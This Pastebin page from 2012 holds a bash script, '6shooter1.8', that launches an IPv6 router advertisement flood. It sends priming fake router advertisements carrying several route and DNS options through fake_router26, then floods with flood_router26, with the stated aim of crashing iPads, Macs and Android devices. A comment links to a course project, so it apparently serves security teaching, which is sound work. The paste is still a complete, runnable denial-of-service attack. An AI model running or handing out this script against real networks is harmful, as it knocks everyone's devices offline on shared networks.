sambowne2

6shooter1.8 -- kills iPad, Mac, and Android

Dec 12th, 2012
4,375
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2. #
  3. # This is an IPv6 RA flood attack that kills iPads and Macs and Android.
  4. # For videos and details:
  5. # http://samsclass.info/ipv6/proj/RA_flood2.htm
  6. #
  7.  
  8. if [ "$#" -ne 3 ]
  9. then
  10. echo "Usage: ./6shooter1.7 P d t"
  11. echo " "
  12. echo " P = Number of priming RA packets to send"
  13. echo " Each RA has 1 prefix, 3 routes, and DNS"
  14. echo " "
  15. echo " d = Additional delay in seconds between timing and flood"
  16. echo " "
  17. echo " t = type: 0 = No DNS, 1 = With DNS, 2 = Only ::/0 Route & no DNS, 3 = 12 routes & DNS"
  18. exit
  19. fi
  20.  
  21.  
  22. echo "Sending priming packets"
  23.  
  24. for i in `seq 1 $1`; do
  25. if [ "$3" -eq 0 ]
  26. then
  27. CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -n 1 eth0"
  28. fi
  29.  
  30. if [ "$3" -eq 1 ]
  31. then
  32. CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -D ff02::fb -n 1 eth0"
  33. fi
  34.  
  35. if [ "$3" -eq 2 ]
  36. then
  37. CMD="fake_router26 -A $i::/64 -R ::/0 -n 1 eth0"
  38. fi
  39.  
  40. if [ "$3" -eq 3 ]
  41. then
  42. CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -R 2000::/4 -R2000::/5 -R 2000::/6 -R 2000::/7 -R2000::/8 -R 2000::/9 -R 2000::/10 -R 2000::/11 -R 2000::/12 -D ff02::fb -n 1 eth0"
  43. fi
  44.  
  45. echo "$CMD"
  46. $CMD
  47. done
  48.  
  49. echo "waiting $2 seconds"
  50. sleep $2
  51.  
  52. echo "starting flood"
  53.  
  54. ./flood_router26 eth0
RAW Paste Data